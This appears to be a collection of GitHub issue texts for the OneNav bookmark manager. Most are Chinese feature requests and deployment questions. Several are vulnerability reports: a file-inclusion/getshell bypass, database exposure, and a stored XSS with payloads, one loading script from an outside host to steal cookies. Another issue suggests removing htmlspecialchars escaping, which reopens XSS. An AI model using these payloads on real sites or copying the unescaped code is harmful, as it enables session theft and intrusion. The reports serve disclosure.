Vulnerability Introduction

A controlled file inclusion vulnerability with the number CVE-2022-26276 has been fixed in OneNav v0.9.15 by replacing ../ and ./ to empty, we can bypass the filter and use the previous payload to get shell.

The issue link for CVE-2022-26276 is: #44

Impact version: OneNav v0.9.15 - v0.9.17

I have sent you specific vulnerability details.

左边侧栏无法缩进，导致右边显示不全，是我手机问题吗？

如题，只有手动加上index.php?c=login才能登陆，并且登陆之后，菜单挤在一起了，难以点回首页
设备是ip12pm

链接有点多，移动起来麻烦

部署在阿里云虚拟主机，看起来链接跳转有点问题，貌似是不支持.htacess文件。
现象是一直跳转到初始化设置密码页面。类似这样 xxx.com/?username=q&password=q&password2=q
我的部署方法是直接下载文件，解压上传到ftp
能否考虑设置在这种场景下，使用完整的url

迁移新服务器后显示链接正常，但是添加或者修改链接显示 The URL already exists! 大大，这是什么情况阿，写不进数据库了鸭

该网页无法正常运作guangsudalao.ga
将您重定向的次数过多。
尝试清除 Cookie.
ERR_TOO_MANY_REDIRECTS

问题是我也没有禁止Cookie啊
从安装到现在才开始出现的问题

静态文件全都是连接到你的https://libs.xiaoz.top/ ,无法内网部署

新增一个填入 png JPG链接入口 部分网站没有图标 谢谢
还想通过拼音首字母检索 或者自己添加关键词 通过关键词检索
谢谢

就是首页基础上，加个详情页，再跳转出去。

现在已经做的很好了，就差个暗色模式（自动切换和手动切换按钮），现在晚上用太刺眼了

disclosure of information about sqlite

I download this cms and i first install it .

index.php:

if( !file_exists('./data/config.php') ) {
	exit('<h3>配置文件不存在，请将站点目录下的config.simple.php复制为data/config.php</h3>');
}
//检查数据库是否存在，不存在则复制数据库
if( !file_exists('./data/onenav.db3') ) {
	copy('db/onenav.simple.db3','data/onenav.db3');
	// copy('db/.htaccess','data/.htaccess');
}

//载入配置文件
require("./data/config.php");

//根据不同的请求载入不同的方法
//如果没有请求控制器
if((!isset($c)) || ($c == '')){
	//载入主页
    include_once("./controller/index.php");
    
}

else{
	include_once("./controller/".$c.'.php');
}

bug code :

if( !file_exists('./data/onenav.db3') ) {
	copy('db/onenav.simple.db3','data/onenav.db3');

then i try to require "./data/onenav.db3" and "/data/.htaccess" http response status 200

it means i can download onenav.db3 and

can gets some privacy information

you can add some random code to document name or sqlite database name .

this cms has many users.

使用docker部署的话，怎么修改主题呢

不是根目录无法登录，有谁知道怎么解决吗？

比如我设置了一页显示50条，但是切几个页面，回来发现没有用，设置又恢复到了原来的系统默认。
如果可以记录一下我的设置就好了，哪怕是本地的缓存也行啊

建议增加链接url展示功能 , 链接url和链接描述可以通过开关来配置是否显示

这会有隐私泄露风险

add link function path

input xss payload 1 :"><script>alert("XSS")</script>

click 添加 button

alert xss success
input xss payload 2:<sCRiPt sRC=//xss.pt/NZ9j></sCrIpT>

Get user cookie success

2022/02/15 22:47:45 [alert] 13#13: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 12#12: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 14#14: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 16#16: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

针对这个项目无法在网站非根目录下运行的问题，我大致上阅读了一遍你的项目代码，然后做出了相应改动，我在本地以及部署到服务器上测试过，均可以正常运行（不过对于部署在子目录的用户，可能需要更改一下项目.htaccess内的配置），你可以阅读一下这些改动，如果有问题的话可以留言，不过我不常上GitHub，如果想快速联系到我，可以给我发邮件（2291200076 at qq.com）感觉你这个项目还是挺实用的，希望能看到这个项目变得越来越好，继续加油！

以下是一些改动：

domain = protocol + port + hostname;
应该为
domain = protocol + hostname + port;
加判断端口是否为80和443再加冒号

一个国外的书签网址推荐，可以参考借鉴(支持拖动和rss)
https://about.start.me/

大佬，什么时候才能支持PHP8呀。

代码中的获取不了，自己在网上找了方法修改了一下。
源码 https://github.com/owen0o0/getFavicon

效果 https://www.daohangweb.com

在模版index.php中找到如下代码：
<img src="https://favicon.rss.ink/v1/<?php echo base64($link['url']); ?>" alt="HUAN" width="16" height="16" /> 修改成 <img src="/favicon/<?php echo $link['url']; ?>" alt="HUAN" width="16" height="16" />
另外也建议把一些在线的css文件都改成本。

之前导入时没有做分类，站点太多，现在想做分类的时候发现可以多选，但是无法操作批量分类。

从书签导入后还需要重新调整分类，在表格中可以直接设置好分类，权重等，比较方便。

在后台能否实现一键升级功能 , 这样就会省去很多麻烦

数据量大时，查询有些耗时，能不能做到按需检索，不要一次性全部检索

在默认主题的情况下，点击分类会跳转到对应的分类下，但是顶栏会将该分类的名称和介绍挡住。

很多场景下是在搜索书签，不知Onenav书签扩展可否实现类似Vimium快捷键功能，通过快捷键Shift+B快速搜索书签，如果有的话将会非常方便

使用c=api&method=add_link添加链接时候
为何总提示fid不存在？0和19都不行。
![image](https://user-images.githubusercontent.com/57182325/167308272-fdf79abb-4c4c-40ac-a1d4-8b3282813435.jpeg

私人书签不想他人看到，增加一个全局登陆用户和密码，进后台就不需要密码

前台分类前面的图标是在哪里设置的？

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

1.能否增加多用户支持.以这种方式呈现.http://host/user1
2.能否支持拖拽排序...好像已经有人提过了
3.能否出个完整版的..即js.css等资源本地化.配置文件可以自定义静态资源的路径
4.能否支持下图标缓存..书签一多加载图标都要好久
5.支持非根目录运行..子目录无法运行..

修复方案:
编辑/class/Api.php 如图所示,去除name的htmlspecialchars转换,并保存
搜索 htmlspecialchars($name,ENT_QUOTES)
提替换为 $name
重新添加分类或者进入编辑重新保存!
注:作者应该是想防止XSS加的代码

或者在主题模板添加相应的解码函数.
文件 /templates/default/index.php
搜索 <?php echo $category['name']; ?>
替换为<?php echo htmlspecialchars_decode($category['name']); ?>
如果有其他主题,都需要修改一遍!

如题，东西多的时候，后台调整权重实在是。。。太残了

[建议]设置主题参数时使用下拉框选项

考虑夜间模式支持不？尤其手机模式下，晚上用比较扎眼:)

漏洞简介 Vulnerability Introduction

由于index.php存在拼接且未经过滤的可控参数文件包含，可以进行路径穿越包含php原生pearcmd.php导致写入恶意文件Getshell。

Due to the inclusion of spliced and unfiltered controllable parameter files in index.php, path traversal can be performed to include php native pearcmd.php resulting in the writing of the malicious file getshell.

我的链接右上角那位置挺适合的

http://weibodang.cn/，望修复

全新安装的程序，出现此问题，不是模板原因 ，默认模板也不能识别，求解。

分类接口

数据接口请求异常：parsererror